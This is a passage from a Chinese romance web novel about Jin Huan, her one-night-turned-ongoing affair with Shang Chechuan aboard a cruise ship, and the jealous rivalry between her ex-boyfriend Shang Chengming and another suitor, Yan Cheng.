金绿色丝绸材质,纤细肩带,恰到好处的荡领,腰间自然收拢,她站在那里,浑身上下未佩戴任何一件首饰,就已经如同神女般耀眼。
没有人的目光可以不落在她身上。
靳欢从镜子中望向他眼眸,笑眼盈盈,明知故问,“澈川哥,这件怎么样?”
妆造不必繁复,清透就已经足够,长发松散挽起,露出微微透着红润的耳垂。
靳欢从椅子上站起身,先一步向等候在外面的车子走去。
身后脚步声紧跟在她身后,却在玻璃门前忽然加快了速度,拦在她身前。
靳欢疑惑抬眸,无声询问。
“外面冷。”
靳欢这时才注意到他手上不知何时多了一件奶茶色长披肩,总共不过几步路的距离而已,忍一下就过去了,但眼前人将披肩笼在她身上的动作却格外认真。
别说,技术也挺不错的。既不透风,又不影响胳膊活动。
靳欢本来是垂着眼欣赏他修长的手指,此刻不知想到了什么,浅笑从挑起的眼尾中滑出,“这么熟练呀,前女友教你的?”
她话音刚落,就敏锐察觉到眼前人情绪有所变化。
侧脸冷凝,明明语气没变,但却莫名多了些说不上来的低沉,“没有前女友。”
靳欢没想到是这回答,眼中闪过不该提起此事戳人痛处的懊恼,同时也有些惊讶,她之前还以为是什么原因不得已和白月光分手了呢,原来当时连在一起都没有过么?难怪这样念念不忘了。
但不得不说,他这明显对白月光还有感情的表现让她心底也跟着松了一口气,前几次莫名闪现过的不对劲怀疑随之消散。
晚宴在一处颇有古典风格的私人别墅里举行。
靳欢以前在国外读书时,就常被小舅舅拉去凑数做宴会女伴,因此对这种场合虽不能说游刃有余,至少完全不陌生。
商澈川和人说话时并未顾忌她在场,靳欢听了几耳朵,多少有些惊讶。
虽之前她也隐隐猜到他除了国内的高乔外,应该还在别的地方有动静,但没想到动静竟然这么大,看来是一早就在做准备了。
不得不说,这手段使得好。要争商家,就不能只把眼睛放在商家上,这不,只国内的高乔,就已经让商家老爷子注意到了这个孙子,等有朝一日时机成熟,商家大概自然而然就掉到他手里了。
不争就是争。
“不合口味?”
靳欢被身侧人声音唤回了神,摇了摇头,“之前和瑞初在一起时吃过东西了。”
商澈川闻言,并未说什么,但是大概只过去了两三分钟,就有人送过来了一份小甜点。
甜点本身不大,但是上面铺满了新鲜荔枝果肉,很是诱人。
靳欢眼睫扑闪,歪着脑袋看向他,“现在合口味了。”
她找了个不起眼的圆高桌慢慢享用甜点,余光有一下没一下的看着一众礼服西装的人影聚在一起又散开,直到忽然听到一道有些熟悉的音色——
靳欢有些错愕,不会这么巧吧?
明明不在同一个国家,也能遇上?
但事实告诉她就是这么巧。
来人金黄色细软头发,五官无一处不精致,深棕色瞳孔,冷着脸时有些高傲,但笑起来时其实很像阳光小狗。
靳欢看着他,心里不由感慨,时间果真是力量无穷,她还记得刚回国时在商澈川车上接到他发来的语音后,把他的联系方式删除时,她还多少有点儿不舍得,现在再看,人依旧是好看的,就是心动的感觉完全没了。
但是对方明显不如她平静,惊喜几乎要溢出来,“Huan?!”
靳欢淡定回应,接下来无论对方怎么追问分手原因,都先说抱歉,然后用她家里不准和外国人结婚这一句来解释。
毕竟这个理由最靠谱,对方很难克服掉。
就是显得她渣了一点,毕竟又不是
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要分手了才知道对方不是华人的。
只是——
看着对方彷佛下一刻就会哭出来的眼睛,靳欢多少有点于心不忍,正思索着用什么话来安慰一下时,腰间忽然多了一份桎梏。
靳欢侧眸看去时,正逢他微微低头俯身后又站直了身子,在旁人看来,好似是因为来晚了用一个吻表示歉意。
连话中都是如此含义,“抱歉,刚刚有事在忙。”
靳欢浅笑摇头,“忙完了?”
“嗯,要再喝点东西吗?”
靳欢没回答,因为对面的人已经神色黯然离开了。
腰间的温度撤离,靳欢还没反应过来,就看见商澈川已经主动拉开了距离,并且解释道,“刚刚冒犯了,我以为你不想和他有所瓜葛。”
他应该喝了些酒,眉骨处有些泛红,眼眸也不如往日深不见底。
靳欢口中说了声“谢谢”,心底却有些惊讶,不是吧,这就装完了?她还以为他会借此机会多少有点动作呢?
可直到晚宴结束,这人都依旧完全绅士摸样。
靳欢甚至开始怀疑,难不成他真的是找不到女伴了,不得不找了自己过来应急?
一般来讲,宴会其实也不是必须要双人一起参加,但这场晚宴是主人的十周年婚礼庆祝,的确有人一起更好。
靳欢越想越觉得有可能,靠在椅背上看了眼车顶,突然感觉要商澈川主动似乎难度有点大。
她顶着困意迷迷糊糊思索了半晌,最后索性想,爱怎么样怎么样吧,随便好了。
虽然目前的确没遇见比他更对眼缘的,但她还不信就非他不可了。
喜欢忍,让他自己个忍去吧。
外面在下雨,到机场大概还需要接近两个小时。
看着人睡熟过去,商澈川合上笔记本,弯腰将滑落在地上的毯子捡起,放轻动作盖在她身上。
睡梦中,靳欢似是有所觉,无意识动了动,像是在寻找舒适的靠枕。
商澈川及时斜了斜身子,将肩膀送到她头侧,喷在袖子上的一点点的荔枝味香水在车内蔓延,靳欢像是被引诱到的小动物,巡着味道主动向他靠拢过来。
肩膀上的重量让商澈川感到满足,看着靳欢侧脸,良久方无声呢喃,是要没有耐心了么?
他也已经要等不下去了。
车子迅速行驶中,商澈川呼吸逐渐平稳,连续奔波以及临时同意邀请来参加这个晚宴,已经让他精力几近透支。
他从没在车上安稳睡着过,但此刻最重要的人在身边,让他难得陷入了梦境中。
梦境中,是靳家在临山的别墅。
别墅里每一日都一样,生活无非周而复始,但她一出现,那一日忽然就有了明确的日期。
三月二十六日。
靳父和沈母都去外地出差未归,他将车停好进入院子里时,本以为只是一个平常的夜晚。
但走廊里却忽然传来动静,少女从那盆精心养护的山茶花后探出脑袋,醉意朦胧,手中举着还未完成的画,偏着脑袋问他,“Denden,你看好不好看?”
他站在院墙阴影处,很想说一声“好看”。
山茶花,画着山茶花的画,在她面前都黯然失色。
但商澄明却已经急匆匆从外面进来,满脸是汗,兴奋不已,“欢欢,快看,我买了最最新鲜的荔枝过来!”
29. 烧身
支票簿拿在手上,提笔即写,“支票人人都有,不过,推荐信只有一份。”
至于什么推荐信,看你所需喽,演员就是影剧的推荐信,模特则是秀场的推荐信。
推荐信不是成为主角的保证。
可如果没有推荐信,或许连走到导演面前推荐自己的机会都没有。
只有一份——
谁都想要。
更何况支票上的数额也足够诱人。
才艺?拿得出手拿不出手,不管了,都先拿出来再说。
开始还是略有收敛地一个一个来,后面已是进入到抢着上场。
场面一热,尺度也越来越大,连喝水时都能不经意被打湿白衬衫的领口和腰间,恰到好处地露出年轻有力的肌肉曲线。
靳欢目光在上面停留,直把人看得脸上都露出了几分红晕来,才慢悠悠道,
“低俗的不要。”
酒杯一放下,就有人续杯,靳欢也不拦着,只抬抬头示意他下去再拿一瓶过来。
“唔,还有要表演的么?没有的话,我就宣布结果了?”
“有有有!”
靳欢闻言,伸了个懒腰,示意开始。
只是她一开始以为又是唱歌街舞那一套,没想到竟然是……模仿秀?
这样的节目早些年流行过一段时间,不过现在很少再有类似的综艺,现在突然看到,靳欢顿时起了几分趣味。
不得不说,确实有实力,不到三分钟,靳欢就被逗得笑到肚子疼。
她一笑,整个房间内立马都是跟着一起的欢呼声。
靳欢指尖敲了敲玻璃杯,示意拿酒回来的人倒酒。
清亮的酒水进入杯子,醇香弥散开来,靳欢鼻尖动了动,脑子还没反应过来什么不对,就又被新一段的模仿吸引了注意力。
整个人歪倒在沙发上,连眼角都笑出了泪痕,一开口才发现将嗓子都笑得有些哑了。
她抿了口酒润润。
但酒一沾唇,就忍不住“唔”了声,竟然还是荔枝酒?
“酒挑得不错——”靳欢转头夸道,话说到一半,戛然而止。
灯光昏暗,让她有些看不清男人眼底的神色,但并不妨碍欣赏他上天精雕细琢的面部线条。
靳欢回过神来,眼底惊讶散去,一点点悠长的笑意逐渐从眼尾溢出,嗓音被酒染得迷醉,“怎么,你也要表演才艺么?”
她本就是装醉调侃,没想到男人竟然当真给了回应,“你想看什么才艺?”
神色认真,不似玩笑。
靳欢定定看了他一眼,恰逢他也在抬眸凝望她。
谁都没说话。
空气在一丝一丝绷紧。
靳欢感到骨子里的倦怠已被抽空,血液正将追求刺激的兴奋传至每一个细胞中。
身体却主动拉开了距离,腰肢软进沙发里,视线微微眯起,似乎全不在意他答不答应,只是他问了她就随口一说而已。
想看什么才艺?
“低俗一些的。”她说。
周围凑过来的耳朵将这话偷去,不过呼吸间而已,就已经有人有意无意将衬衫卷起,裸露出腹部的轮廓。
看着不过是男大学生的年龄,行动大胆,面色却赧然又试探,“姐姐,你要摸摸吗?”
圆润眼睛,像只等待回应的金毛。
只要她肯点头,他就会毫无保留热拥上来。
靳欢不介意试试手感——
可指尖才刚动就被人牢牢桎梏住,如同锁链,将她的手铐紧在目的之外的腰上。
完全的贴合,一丝缝隙也许。
手指被烫到下意识蜷缩,却动弹不得,手背之上,是他严丝合缝覆盖过来的带着薄茧的手掌。
靳欢想要用视线来消除手动不了带来的不安感,可沙发已经沦陷,他不知何时脱下的西装外套挡住了所有光亮。
漆黑中,湿热的吻如同汪洋大海瞬间倾覆过来吞没她的眉眼。
从他手中挥洒出去的支票早已被捡个干净,桌子碰撞摩擦,开门关门,最后一丝噪音消失,只剩下彼此衣物的摩|擦和呼吸声。
炙热从眉眼一路往下。
外套经不起折腾,从沙发上挂落,新鲜空气的涌入,让靳欢多了一丝清醒,也,终于抢到了主动权。
从沙发上挣扎下来,鞋子早早已不见踪影,她踩着地上西装,左手勾住他脖颈,被束缚在他衬衫之下的右手不退反进,流连过起伏,最终停在冰凉的金属纽扣处。
要解开却又不解。
偏偏仰着头,雾气弥漫的眸中浮现疑惑,
“澈川哥,你怎么不说话?”
从把主动权让给她,商澈川额头汗水就没断过,此刻垂眸望着她张合的红唇,喉|结滑动,终于按捺不住越来越深的眸色。
靳欢警觉到危险,但是已经来不及逃走,腰肢被人按住,要抽回的手指被迫按下腰间卡扣开关——
啪嗒一声。
耳垂上是他唇瓣的温度,“这样开。”
又痒又热,靳欢呼吸急促起来,在躲开之前彻底陷入任人摆布的地步,被人拽住一同坠入无边际的沉沦。
直到过了不知多久,才因为浑身的黏腻汗意唤回半毫清醒。
她脑子如同浆糊,但执意要去洗澡。迷迷糊糊中,在自己脚从床上落地之前,被人托住腰|臀带入浴室,水声响在耳边,热气蒸腾,密密麻麻的吻仍旧似雨点,靳欢不耐,要把人推开,却反倒被人禁锢得更紧。
生气之下,直接狠狠咬了一口上去。
可眼前人却好似感受不到疼痛一般,反倒是轻笑出声。
沙哑又带着蛊惑。
靳欢被刺激到,在水雾中尽力睁开眼,试图看清面前人的神色,是否如她所想的一样失控——
可视线还没聚焦,就陷入新一轮的失重感中。
那颗智齿被舌尖撩拨到满是酸意,深入骨髓的愉悦渗入。
海水浪潮之下,靳欢早已分不清游轮是不是在摇晃。
……
一夜深睡。
无梦而醒。
靳欢睁开眼,被光线刺到立马又扯上了被子,直到口渴得受不了,才再次懒洋洋翻了个身,准备起床起倒水。
这时她才看见坐在床头沙发上办公的某人。
昨晚的记忆一瞬间全部涌现出来,身体似乎还记得欢愉的味道,只是回想起来,就忍不住打了个寒颤。
靳欢晃晃脑袋,试图阻止记忆的复现。
一杯水适时地被送到她面前来,靳欢接过,一口气喝了干净,靠在床头上放空脑袋。
沙发的人接过空水杯,起身又去倒了一杯,见她不接,便放在床头柜上,她伸手就可以够到的地方。
谁都没说话。
靳欢侧过眸,看着他低头看笔记本屏幕的冷静侧脸,刚刚记忆
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冲击带来的混乱不知不觉中散去,后知后觉感到几分满意来。
醒来后没有继续被纠缠的感觉果真不错。
毕竟山珍海味再好吃,刚吃过再遇见也会腻歪,而之前她的每一任男友,只要关系维系到了床上这一步的,无一例外总是格外缠人。
靳欢若有所悟,这大概就是炮|友的好处,既可以满足生理需求,还没有情感负担。
唔,就是不知道现在几点了。
手机不知道去哪儿了,靳欢到处摸索,手机还没找到,倒是惹得沙发上的人抬头看来,“找什么?”
“手机——”靳欢随口应道,下一刻一抬头却没忍住笑出声来。
适才因为角度问题,她都没注意到商澈川下巴底下的那枚鲜红的咬印。
谁留下的,不言自明。
靳欢回想不起来自己什么时候下了这么重的口,只是眸子却倏然亮堂起来,还别说,第一眼觉得违和,第二眼却觉得这张脸加上这个咬痕别有一番滋味。
越是高冷禁欲,越是反差感十足。
靳欢忽然想起来之前家中那幅怎么画都感觉缺点东西的画,她现在好似明白过来她一直找寻的那种若隐若现的东西是什么了。
可惜了,画现在不在跟前,没有办法立马实践。
她走神的期间,手机已经被人找到递了过来。
靳欢眨眨眼,接过来后顺势趴在床沿,一边解锁手机一边随意和沙发上的人说话。
说了几句,靳欢忽然好奇,“澈川哥,你之前真的没有过女朋友?”
“没有。”
“好吧……”靳欢歪歪脑袋,突然不知想到了什么,面色奇怪,试探道,“你不会是第一次吧?”
她虽这样问,但其实心里根本没想过他是第一次,毕竟这人昨夜的表现太过于优秀。
可是问题抛出去半晌,没听到回应。
靳欢若有所觉抬头,正好看见沙发上的人嘴唇微动,像是要开口回应。
她莫名一慌,害怕他真吐出来“是”这个字,反应过来之前已经开口打断,“啊,手机里怎么这么多消息!”
本是因为不想听答案而装模作样看手机,但是没想到游轮通讯APP里的确有好多消息。
很长一串,连医生发过来的都有。
靳欢略过那一团,直接先看陈瑞初发来的。
不看不要紧,一看吓一跳。
什么?!
澄明昨夜忽然来了,到处找她,现在人就在她套房门口守着?!
这可是海上,他是怎么追上来的?
靳欢太过于震惊,一时之间甚至没想到船离岸时商澈川也不在的,昨晚不照样出现在了船上。
她脑瓜子嗡嗡,连着喝了几口水试图冷静一下,结果水杯还没放下,就先听到了敲门声——
见商澈川起身要去开门,靳欢吓了一跳,迅速从床上滑下来将人拦住,“我去。”
穿上风衣同时扫了一眼沙发的位置,靳欢迅速拿定主意,指了指里侧窗边上的椅子,“你先坐在这边,这里不容易被人看见。”
商澈川眉头皱起,“为什么不能被人看见?”
这话问得,让靳欢觉出几分好笑来,“澈川哥,一夜情的关系还是不适合被人知道吧?”
说罢用眼神催促人赶快坐过去,自己则要去开门,但是却再次被人拦住胳膊,商澈川眉头皱更紧,“一夜情?”
30. 良夜
离得近了,衬衫之下锁骨的轮廓隐隐显现。靳欢抬眸时瞧见,视线不由得微微停顿。
直到被外面骤急的敲门声唤回神——
她抬手轻巧勾住面前人扣得严严实实的衣领,将人拽得低下头来,鼻尖在他喉结处一蹭而过,
“嗯对,不是一夜情。”
多几夜也没关系。
这样的脸和身材,反正她也正喜欢。
他愿意多玩,正合她意。
……
开门。
敲门人的手还举着,似是没想到门突然打开,面上有些尴尬。
靳欢也没想到是一个陌生人,直到看见对方边上的小餐车才明白过来。难怪商澈川疑惑为何要躲起来,他大概是误认为是他叫的送餐到了。
其实说是送餐也没错,就是旁边还有个人。她目光从一侧露出的衣角上扫过,忍不住皱了下眉头。
靳欢侧开身子,对着送餐员点点头,“麻烦放在桌子上,谢谢。”
话音落地,微微停顿了下,直接就要把门关上,在最后一刻,被人从外面用手挡住——
商澄明从墙边站了出来,“欢欢——”
看着魂牵梦萦的身影,他舍不得移开目光,但又被梦中人脖子上的红痕刺激到,心像是泡在酸水里,被嫉妒愤怒搅合成烂泥。
在靳欢面前,他从来都发不出脾气,哪怕是此刻,瞳孔几经颤抖,最后也不过是哑着嗓子轻声问了一句,“欢欢,你饿不饿?要一起下去吃午饭吗?”
靳欢沉默,只回头看了眼屋内正在摆餐的送餐员。
商澄明面色僵硬了下,但很快回了神。
纵使眼中满是疲倦和血丝,笑起来却依旧是往日那般的少年意气模样,说着胡搅蛮缠的话也很难让人讨厌,“你不和我一起下去吃,那我就留下来和你一起吃!”
他抬脚就要往里走,靳欢按住门不松手,“屋里有其他人——”
“三个人也可以一起吃!”商澄明脱口而出。
说完才知晓后悔,嘴唇紧抿,无声别过头不肯看屋内,手却依旧执拗地紧紧按住门不让关。
靳欢要把他的手拿开,一碰到才发现他手指冰凉,用力到在发抖,掰了两次,掰不开,她也起了几分气意,“非要我喊安保——”
话说到一半,抬头触及他眼睛时戛然而止。
门外人神色倔强,眸中却满是哀求。
说起来,他们已经有很长一段时间未曾见过面了。他在去话剧组封闭训练前,曾去国外找过她一次,但当时她提前从别处得到了消息,直接借着出去度假的由头溜到了地球另外一端玩。
他比以前瘦了些。
侧脸耳朵往下有道两三厘米的划痕,像是刚结疤不久,不深,但也忽略不过去。
靳欢忽然想起以前他对他这张脸的珍惜程度,以及被她看见用面膜时尴尬扯下丢进垃圾桶,又别别扭扭说以后要当话剧演员当然要保护住脸的情景。
她气不自觉消了大半,但让他进来吃,当然……不适合!
门外,商澄明敏锐察觉到靳欢手上力道松懈下来,眼底窃喜闪过,微微垂下的眸中哀求却愈浓,连带着声音都很是可怜,
“欢欢,我们一起下去吃好不好?我保证不会缠着你,吃完我就立马去睡觉,我又饿又困。”
一夜不睡,又熬到现在中午不吃饭——
靳欢冷笑一声,“活该!”
商澄明却已经趁着送餐员出来的时机,直接溜进了客厅里,在沙发上坐得板正,可怜巴巴看着靳欢,“欢欢,我坐在这里等你换衣服,可以吗?”
她说不可以他还能出去不成?
靳欢余光扫了眼卧室方向,有些庆幸自己刚刚出来时随手将门带上了。
可是她这念头还没落下,就忽然听得卧室内传来吧嗒一声——
似是什么滚落在地,又被人捡起。
靳欢脚步微微停顿,直接当做没听见,自顾自去洗漱。
沙发上,商澄明眼中愤怒已经将要溢出,即使猜到里面的人是在故意挑衅,仍是忍了又忍,才忍住冲进去给人一拳的冲动。
欢欢不喜欢别人胡闹,自己要是冲动了,才是上了言承的当。
不过自己和欢欢说话的这么点时间,言承都要刷刷存在感,也暴露了他本来就没什么底气。
商澄明心中冷笑,余光瞧见餐桌上摆好的餐盘和调料盒,忽然有了主意——
靳欢换好衣服,抬头看了眼镜子,折身进了卧室找了条丝巾。
她站在窗户边,微微仰着头,借着玻璃的反光,仔细调整着丝巾角度。
调整着,调整着,目光就落到了玻璃上映照出来的另一道人影上。
他电脑屏幕还亮着,人却在看着她。
靳欢手下动作微顿,还没开口,就看见人站起身走了过来。
丝巾这种东西,太过板正了不好,太过凌乱了也不好,最好的状态就是恰到好处的松散和随意。
比如现在在他手指间诞生的这样。
虽然已经看过许多次,连负距离的接触都有过,但是此刻再看这双手,靳欢仍是想要感叹倘若哪天商家破产,他就凭借着这双手去做手模也能赚个盆满钵满。
许是她走神太过于明显,被察觉到,商澈川眸子微动,无声询问她在想什么。
靳欢压低了声音,如实相告。
眼前人神色呆住,明显错愕了下。
一向沉着的脸上露出这种神态,多少有点反差萌,靳欢看得眼睛弯了弯,趁人不注意,凑到他耳边,“不过你用不着去做手模,要真破产了——”
“?”
“我养着你。”
任是知晓眼前这双笑眸里的深情全是虚假,商澈川仍是险些被诱骗了去,心跳难以克制地加快,面上却只当做在接着她的话把这个玩笑继续下去,“养多久?”
但玩笑话靳欢也没应。
因为外面传来杯子掉在地上摔碎了的声音。
看着她瞬间被转移走的注意力,商澈川眸底冷色闪过,却在靳欢回过神来要开口之前,先一步冷静道,“已经不早了,你去吃饭吧。”
省却了靳欢解释的功夫。
太过于善解人意了吧!
前往二层露天餐厅的路上,靳欢再一次深深感受到了床伴和男朋友比起来的优越之处!
她从出了门就在走神,一直紧紧关注着她神色的商澄明不可能察觉不到。
一百二十七秒。
从她进卧室再出来一共有一百二十七秒。
这一百二十七秒里,言承肯定是做了什么才会让她现在都还在回想。
是不是死
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皮赖脸地求着欢欢和他一起吃饭?还是假装生病不舒服来留住欢欢?
他那样的绿茶,拙劣的演技,也就欢欢心思单纯,才会被他骗到。
商澄明堵了一肚子气。
靳欢余光瞧见,没由来好笑,“你气哄哄的干什么呢?”
商澄明委屈,“欢欢,你出来旅游都不告诉我!”
“这是瑞初生日,另外我出来还要向你报备?”
“你明知道我不是这个意思,”商澄明把菜单翻开递到她面前,“我差点真以为你去出差了!”
靳欢抬眼,“你和我妈说了?”
“没有没有!”他连忙撇清,顺带邀功,“我来之前是和伯母说我要回去排练,绝对没说你在这里!”
这还差不多。
被太阳晒得有些懒洋洋,靳欢伸了个懒腰,“吃饭完快去补觉吧。”
“欢欢——”
“嗯?”
应完迟迟不见人继续往下说,靳欢也不追问,权当做没听见,等着菜上齐便开始动筷子。
到最后还是商澄明最先忍不住,“你都不问问我排练得好不好,顺不顺利?”
“那你排练得好不好顺不顺利?”
虽然是求来的问题,但商澄明却仍是瞬间开心起来,挑了各种趣事讲来给靳欢听,脸上的疤痕也有了原因。
——前天帮忙搬道具时,被道具的端口刮到了。
“不过不严重,我问了医生,绝对不会留疤痕!”
冷不丁听见这一句,靳欢差点被水呛到,缓过气来笑道,“你把心放回肚子里吧,就是留疤,现在这化妆技术也能遮掩个干净。”
商澄明下意识想说怕留疤是怕她觉得不好看,话到了嘴边又咽了下去,想到了另外一事,“欢欢,之前网上说什么我有女朋友的事都是假的,我哥和你说了吗?”
“说了。”
“那就好,那些都是潘趣他们几个瞎说的,结果不知道怎么回事就传到了网上去。”
看着他说着这话时明显松了一口气的摸样,靳欢脸上笑意淡了些,沉默了会,还是开口道,“澄明,我们已经——”
已经分手了,你不必向自己解释这些私事。
但这话还未说出口,就被商澄明又是假装打哈欠又是假装困得头晕等一系列连招打断,直到他迫不及待站起身来说要去补觉,靳欢都再没找到开口的机会。
招手让人把桌子收拾干净,重新上了一份果盘过来,靳欢也懒得换位置,就坐在这里打发时间。
直到大概过了半个小时,陈瑞初打着哈欠在对面坐下——
她神色疲倦,让人怀疑昨晚是不是玩了个通宵。
但靳欢还没开口问,陈瑞初一抬眼瞧见靳欢脖子上的丝巾,倒是先一步瞬间兴奋了起来。
说是两眼放光也不为过,倾身凑过来,笑得眼睛眯起,“欢欢,昨晚的是惊喜吧?”
昨晚——
潮湿黏腻炙热,欲罢不能,欲拒还迎,迷失坠落放纵。
以上,出现在同一个时刻。
靳欢垂下眼,遮住其中的波动,“的确是个惊喜。”
她声音淡定,陈瑞初却从她唇角的弧度上嗅出了几分不同寻常来,“咦,难得见你这么满意的?!留下的哪一个啊?”
“自动上门的那一个。”
31. 前任
自动上门的?
陈瑞初眼中闪过困惑,不过转瞬想起了更重要的事,“哎,你看见我给你发的消息了吗?你出来时,见到商澄明了吗?”
靳欢抬起下巴向着远方示意了下,“回去补觉去了。”
陈瑞初皱眉,“也不知道他从哪里弄到的邀请函。”
生日会的邀请人名单她自己是看过的,发出去的邀请函也是固定数量的,昨夜里商澄明的船追了上来也就算了,手里竟然还有邀请函。
靳欢倒是不意外邀请函的事,应该是有人拿到了邀请函但是有事来不了。
以此类推,商澄明都能弄到一张,商澈川能弄到就更不稀奇了。
陈瑞初还在自言自语,“看来以后应该加个身份验证——”
想到昨夜商澄明非要等在欢欢门口,陈瑞初眉头皱更紧,“欢欢,他有没有乱闹?有没有打扰到你?”
靳欢失笑,直接叉了一颗圣女果放入她嘴里,“行了,别乱担心了,见面说了几句话罢了。”
陈瑞初脸颊鼓鼓,确认靳欢没有被坏了心情后才放松下来,“那就好。”
知晓她没吃饭,靳欢给她叫了份炒饭过来。
金黄饭粒,恰到好处的焦香味。
陈瑞初吃了几口,忽然想起高中时,有一次班里同学出去山上别墅趴,买了食材但没让做饭阿姨跟着,都嚷嚷着要一展厨艺,结果在厨房捯饬出来一堆黑暗料理。
惨烈对比下,衬托得商澄明做出来的那一碗蛋炒饭像是天上美味。
当时男生们为了尝一口,喊商澄明义父的都有,可是商澄明硬是全都置之不理,小心端着那一碗蛋炒饭,上楼去找因为晕车在房间里休息的欢欢。
转眼间,竟然已经过去六七年了。
陈瑞初手中动作顿住,问了一个好奇很久的问题,“欢欢,要是你出国那会儿,商澄明跟着去了,你们还会分手吗?”
“会。”
“啊?”陈瑞初惊讶,“为什么啊?我觉得你当时还挺喜欢他的!”
她是真这样感觉的,欢欢的那些前男友里,欢欢最喜欢的应该就是商澄明了吧。
靳欢回想了下,“大概是突然就没那么喜欢了。”
陈瑞初不理解,但在她眼里,靳欢做什么都是对的,所以就干脆跟着点头,“不过你出国那会儿,商澄明没跟着去也挺奇怪的,毕竟我甚至都怀疑,你说要他的命,他都会毫不犹豫的给你。”
“我要他的命做什么?”靳欢被逗乐,解释道,“当时他是要去,但后面因为其他原因没去成。另外,我和他分手,和出国不出国其实没什么关系。”
他们分手的起因在一个戒指上。
那时她将要出国,在一次事后,商澄明没像往常那样非要抱着她休息,而是神秘兮兮出去,然后捧着一束花进来。
花中央放着一枚钻戒。
很漂亮的设计,在昏昏暗暗的室内光下就已经足够耀眼,无可挑剔。
但是她不喜欢任何关于戒指的东西。
从来不佩戴戒指,也从来不收任何异性送的和戒指有关的礼物。
她不喜欢手指被束缚住的感觉。
如果当时没有那枚戒指的出现,她和商澄明最后或许也会走到分手,但应该不会那么早,因为至少出国那会儿她其实都还是喜欢他的。
陈瑞初听完,明白了几分,“原来是这样,算了,过去的事不管了!来,我喊人过来打麻将!”
吹着海风打麻将,多是一件美事!
……
714套房。
从昨夜等到现在,不仅没等到人,连消息都没等到一条,言承忍不住怀疑是不是医生根本没按照他说的办。
但面对他的质疑,医生却果断将自己发出去的消息给他看了一遍,证明自己做了。
接过手机,一条条翻阅信息记录后,言承脸色越发苍白,怎么会——
医生迅速抬眼看了他一眼,犹豫了下,隐晦开口道,“那位小姐可能在忙。”
言承警觉,“什么意思?”
“那个,今天中午我看到那位小姐和别人一起从房间里出来——”
别人一起?
如果是陈大小姐,医生肯定认识。
言承心在一点点下沉,“有照片吗?”
这次医生却不敢再接他的东西,“先生,我们随船医生是签过协议的,严禁拍任何客人的照片。”
言承神色顿住,突然不知想到了什么,开口把本来已经要回去的医生喊住,“等下——”
他打开手机相册,从里面翻出了一张很久之前的多人大合照,放大其中一个部分,指了指那个人的脸,“是他吗?”
医生闻言,扶着眼镜仔细辨认了一会儿,才点点头,“五官很像,但是发型不一样。”
这是几年前的照片了,发型不一样很正常。
医生走后,言承看着手机屏幕上的照片,心里被嫉妒吞噬得阵阵疼痛。
照片上,最中央是靳欢懒懒抬眼看向镜头的身影。
而刚刚他放大的那部分,则是商澄明正笑着看向靳欢的脸。
这是他们的高中合照。
他一直嫉妒这张照片的存在,因为这证明了商澄明比自己更先认识靳欢,证明在自己之前,他们已经有了很多往事。
而现在商澄明又阴魂不散地缠绕了上来。
为了装病装得逼真,他昨晚故意湿着衣服头发吹了很久的夜风,现在头脑昏沉,一口气堵在心口,有那么一瞬间,眼前满是晕眩的重影。
他勉强用最后一丝理智告诉自己,现在自己不能出去和商澄明硬碰硬。
吃了药,强制逼着自己闭眼休息调整状态,可脑海里无数画面在不断重播,最后忽然定位在一个刹那——
未婚夫。
商澄明。
两个词碰撞的瞬间,言承直接惊坐起,面色怔怔,直到被身上凉下来的冷汗唤回了神。
不可能。
如果是商澄明,那欢欢昨晚应该不会说是商业联姻。但欢欢家里要和商家联姻,好像也可以说得过去。
他脑中乱成一团,最后靠着药物里的安眠成分才昏昏沉沉半睡半醒挨到了傍晚时分。
洗漱,换了衣裳,出门。
露台上,言承到时,靳欢在的小桌刚好还有一个空位。
其他两人,分别是陈瑞初和商澄明。
麻将已经收了起来,这会儿正在看着夕阳随意聊天。
看见来人,陈瑞初最先开口,“咦,言老师?昨天怎么只看到你的礼物没看到你的人啊?”
“抱歉,昨天身体不舒服,睡着了。”
陈瑞初正要问问现在好些了吗
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,旁边商澄明已经先一步道,“身体不舒服就该回去休息,外面风大,可别吹得更严重了。”
“谢谢关心,不过医生说出来透透气更有利于健康。”
被不冷不热地怼了回来,商澄明冷笑一声,抬头上下打量一眼,“虚成这样,行不行啊?在房间里开个窗户见见风丝儿就得了。”
单听这话,恶意还不算太过于超标。
但言承作为当事人,感受到那若有若无的轻蔑一瞥,温和神色当即冷了下来,“这可不是你说了算。”
“你——”
商澄明从昨夜积攒到现在的怒气险些克制不住。
眼看着打起来都有可能,旁边陈瑞初看不下去了,开口不冷不淡缓和了两句,
“现在风又不大,吹吹倒也舒服。”
真是的,哪怕是情敌见面分外眼红,也好歹成熟点吧,吹个风这种话题也能怼起来?再吵吵,把他们全都轰走。
她心里吐槽,不过幸好自她开口后,就安静了下来。
直到靳欢面前的气泡水喝完——
商澄明和言承都转身要从旁边服务员手中的盘子上再拿一瓶,但是上面只剩下最后一瓶——
谁都不肯松手。
陈瑞初翻了个白眼,招招手对着服务员道,“帮忙再拿一提荔枝味的过来。”
荔枝味——
商澄明和言承一愣,这才注意到托盘上的那瓶不是荔枝的。
两人面上都有些赧然,只不过商澄明神色转变更自然,下一瞬就笑着看向靳欢,“欢欢,下个月要不要一起去滑雪?”
靳欢将视线从手机上移开,“你不用排练了?”
“下个月我有假期!”
靳欢正欲回答,手机里突然又新进一条消息,
——“有看见过的我的手表么?”
昨晚他戴在手腕上的。
一款金属表带机械表,当时她嫌弃太冰,脱下来随手扔走了。
但具体扔在了何处,记忆太混乱,的确想不起。
靳欢回想片刻,回了消息过去,
——“不如换一款?”
这个念头一出现,她脑海里已经闪现出很多款式的表。
要是,能说动他跟着一起去试带就更好了,不比那些虚拟换装游戏好玩多了?靳欢心里蠢蠢欲动起来。
……
今天凌晨过后,游轮就会返航。
晚上十一点五十五分,是提前安排好的电子烟花秀。
虽然看得多了,早已没了什么稀奇,但是耐不住人多起来,氛围烘托之下,总还是有种最后的狂欢的躁动感。
不管怎么样,被叫了倒计时的东西多少都自带Buff。
好像在倒计时计算到零后,就是另外一个开端了一样。
第一波烟花结束是十一点五十八分,会有一个短暂的间隔,重新开始燃放时,就是最后六十秒的倒数。
靳欢看过时间安排表,所以当所有楼层的灯全部都熄灭的一刹那,早有心理准备并不慌乱。
但她没想到的是,并非每个人都耐心看了房间里放好的安排表。
黑暗来临时,尖叫恐慌兴奋杂糅一团。
被流窜的人群撞了个踉跄,靳欢站稳脚跟,正准备循着记忆向旁边靠一靠,但是还没动,却忽然被人揽住了腰肢带向一旁。
32. 偷欢
身后是宽大的罗马柱,让人多了不少安全感。
靳欢适才乱掉的心跳恢复如常,借着别人手机手电筒晃动的光看向面前人。
